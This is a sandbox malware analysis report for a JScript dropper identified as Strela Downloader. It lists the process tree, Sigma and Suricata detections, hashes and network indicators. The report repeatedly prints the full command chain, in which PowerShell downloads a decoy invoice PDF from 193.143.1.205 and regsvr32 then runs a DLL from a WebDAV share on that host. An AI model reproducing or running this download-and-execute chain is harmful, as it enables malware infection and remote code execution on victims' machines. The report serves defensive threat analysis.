Edit tour

Windows Analysis Report
700123582683323683.js

Overview

General Information

Sample name:	700123582683323683.js
Analysis ID:	1588984
MD5:	6c6609fa11dd15f0f1505a14b0ae660b
SHA1:	0c2b06a1e2341bdec63b3e73988ebe52dcdcd608
SHA256:	4d5bc25014ef381cae48ce08049c8aad19381e117fc5507550b8173f573f929c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 504 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3880 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6712 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4420 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5368 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6548 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1672,i,1215310555489989670,14978537808723602120,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5204 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3476 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1916 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 504	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6712, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6712, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", ProcessId: 504, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3476, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 504, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 3880, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 504, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 3880, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 504, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 3880, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 504, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 3880, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 504, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 3880, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", ProcessId: 504, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6712, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5204, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3476, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1916, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5204, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3476, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 504, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 3880, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:03:55.226431+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:03:58.117792+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:03:55.226431+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 700123582683323683.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 700123582683323683.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 700123582683323683.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:03:55 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

